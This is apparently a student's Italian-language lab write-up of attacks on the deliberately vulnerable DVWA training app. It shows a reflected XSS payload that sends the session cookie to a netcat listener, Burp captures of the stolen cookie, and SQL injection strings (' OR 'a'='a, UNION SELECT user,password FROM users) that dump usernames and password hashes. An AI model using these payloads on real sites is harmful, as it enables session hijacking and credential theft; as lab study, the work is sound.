

```

(kali@kali)-[~]
$ nc -l -p 12345
GET /index.html?param1=security=low;%20PHPSESSID=874a57039794798ba1849043b5de43d3 HTTP/1.1
Host: 127.0.0.1:12345
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://192.168.49.101/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

```

Utilizzando questo script:

```
<script>window.location="http://127.0.0.1:12345/index.html?param1="+document.cookie;</script>
```

Siamo riusciti a recuperare il cookie di sessione.

```

Pretty Raw Hex
1 GET /dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.location%3D%22http%3A%2F%2F127.0.0.1%3A12345%2Findex.html%3Fparam1%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E+ HTTP/1.1
2 Host: 192.168.49.101
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Referer: http://192.168.49.101/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.location.href%3D%22%80%9D+http%3A%2F%2F127.0.0.1%3A12345%2Findex.html%3Fparam1%3D+%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E+
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9 Cookie: security=low; PHPSESSID=874a57039794798ba1849043b5de43d3
10 Connection: close
11
12

```

```

Request to http://127.0.0.1:12345
Forward Drop Intercept is on Action Open browser
Pretty Raw Hex
1 GET /index.html?param1=security=low;%20PHPSESSID=874a57039794798ba1849043b5de43d3 HTTP/1.1
2 Host: 127.0.0.1:12345
3 sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Linux"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 Sec-Fetch-Site: cross-site
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Dest: document
12 Referer: http://192.168.49.101/
13 Accept-Encoding: gzip, deflate, br
14 Accept-Language: en-US,en;q=0.9
15 Connection: close
16
17

```

Da burpsuite possiamo intercettare le richieste e comprendere cosa riceveremo mettendoci in ascolto, come da primo screen.

**User ID:**

```
ID: ' OR 'a'='a
First name: admin
Surname: admin

ID: ' OR 'a'='a
First name: Gordon
Surname: Brown

ID: ' OR 'a'='a
First name: Hack
Surname: Me

ID: ' OR 'a'='a
First name: Pablo
Surname: Picasso

ID: ' OR 'a'='a
First name: Bob
Surname: Smith
```

In questa fase di SQL Injection abbiamo utilizzato il seguente codice ' OR 'a'='a, per dare una condizione sempre vera e permettere al programma di darci in output tutte le tabelle.

**User ID:**

```
ID: ' UNION SELECT null,null #'
First name:
Surname:
```

Qui invece abbiamo utilizzato il seguente codice 'UNION SELECT null, null # ', facendo delle prove per capire in realtà quanti campi esistessero per la voce SELECT. Infatti se provassimo con più campi ci restituirebbe tale errore:

← → ↻ ⚠ Not secure 192.168.49.101/dvwa/vulnerabilities/sqli/?id=%27UNION+SELECT+null%2C

The used SELECT statements have a different number of columns

**User ID:**

Submit

ID: ' UNION SELECT user,password FROM users# '  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user,password FROM users# '  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user,password FROM users# '  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user,password FROM users# '  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user,password FROM users# '  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

**User ID:**

Submit

ID: ' UNION SELECT user, password FROM users -- '  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users -- '  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users -- '  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users -- '  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users -- '  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Negli ultimi due screen, siamo riusciti a recuperare username e password grazie a queste due injection:

'UNION SELECT user, password FROM users #'

'UNION SELECT user,password FROM users --'

Siccome la prima query restituisce una riga vuota, grazie a queste injection possiamo visualizzare user e password dalla tabella users.